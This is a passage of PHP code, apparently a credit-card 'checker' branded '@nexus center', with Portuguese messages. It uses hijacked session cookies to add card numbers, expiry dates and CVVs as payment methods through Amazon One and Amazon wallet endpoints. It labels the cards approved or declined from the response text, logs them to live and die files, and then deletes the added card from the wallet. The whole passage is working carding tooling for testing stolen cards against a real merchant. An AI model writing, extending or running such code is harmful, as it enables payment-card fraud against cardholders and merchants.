'Referer: https://one.amazon.com/sign-up?treatment=IOS&view=Native.SignUp&forceAuthCompleted=true&step=SELECT_CARD',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie: '.$cookie7.'',

];


// Aplica os cabeçalhos na requisição
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"withCredentials":true}');
  $Fim = curl_exec($ch);

		 

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://one.amazon.com/api/v1/payment-method?isUpdate=false');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(


'Host: one.amazon.com',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Sec-Fetch-Site: none',
'Accept-Encoding: gzip, deflate, br',
'Accept-Language: pt-BR,pt;q=0.9',
'Sec-Fetch-Mode: navigate',
'X-SMASHIntercepted: YES',
'Referer: https://one.amazon.com',
'Cookie: '.$cookie7.'',
'Sec-Fetch-Dest: document',


));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, '{validation_group:[{"Classes":"required ammount number no-tab","Data":"1","MerchantId":2263},{"Classes":"quantity up-down-number number","Data":"1","MerchantId":2263},{"Classes":"message nospecialcharacters","Data":"","MerchantId":2263},{"Classes":"required name nospecialcharacters","Data":"LUCIANO FRANCO DE OLIVEIRA JUNIOR","MerchantId":2263},{"Classes":"optional sname name nospecialcharacters","Data":"LUCIANO FRANCO DE OLIVEIRA JUNIOR","MerchantId":2263}], emailValidationData:{"IsPurchaserEmail":false,"IsRecipientEmail":false}, merchantId:2263}');
    $data1 = curl_exec($ch);
 
 

	      $ums = getStr($data1, 'ppw-widgetState" value="','"');


	       $urlll = getStr($data1, 'customerId":"','"');
		   
		   	       $payy = getStr($data1, 'id":"','"');



		$numero = str_pad(rand(0, 9999), 4, '0', STR_PAD_LEFT);


$ch = curl_init();

// Configurações da requisição
curl_setopt($ch, CURLOPT_URL, 'https://one.amazon.com/api/v1/payment-method');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, br, zstd");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

// Verifica se as variáveis existem antes de usá-las
$csrfToken = isset($csrfToken) ? $csrfToken : '';
$cookieamz = isset($cookieamz) ? $cookieamz : '';
$payy = isset($payy) ? $payy : '';

// Configuração dos cabeçalhos
$headers = [
'Host: one.amazon.com',
'Connection: keep-alive',
'sec-ch-ua-platform: "Windows"',
'treatment: IOS',
'sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"',
'anti-csrftoken-a2z: '.$csrfToken.'',
'sec-ch-ua-mobile: ?0',
'source: IOS',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Accept: application/json, text/plain, */*',
'Content-Type: application/json;charset=UTF-8',
'Origin: https://one.amazon.com',
'Sec-Fetch-Site: same-origin',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Dest: empty',
'Referer: https://one.amazon.com/sign-up?treatment=IOS&view=Native.SignUp&forceAuthCompleted=true&step=SELECT_CARD',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie: '.$cookie7.'',

];


// Aplica os cabeçalhos na requisição
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"paymentMethodId":"'.$payy.'","paymentIdentifier":"PAYMENT_METHOD_ID","useCase":"ONLINE_ENROLLMENT_APP"}');
  $Fim = curl_exec($ch);




   
   
 

if (strpos($Fim, 'fraudCustomer') !== false) {
   echo"<br><span class='text-success'>[Aprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result </span>
    <span class='text-success'>[R: Cartao aprovado] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s)</span>";

$file = fopen($dir . "live.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
	$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
}  

elseif (strpos($Fim, 'InvalidInput')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>$info ➜ </span>
    <span class='text-danger'>[R: ops,ocorreu um erro] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

}

elseif (strpos($Fim, 'COF evaluation failed for PaymentMethod')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'> ➜ $bin_result </span>
    <span class='text-danger'>[R: cartão recusado ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
} 

else {
    echo"<brReprovada » <font color='red'> $cc|$mes|$ano|$cvv todos teus chk caiu,chame o vendedor » @nexus center </font></span></p>";
  
}

    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.com/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.com/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	   if (strpos($r, 'Your payment method has been removed successfully') != true) {
		   
		   
		      setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
		   
	   }
	   

 	 exit();
}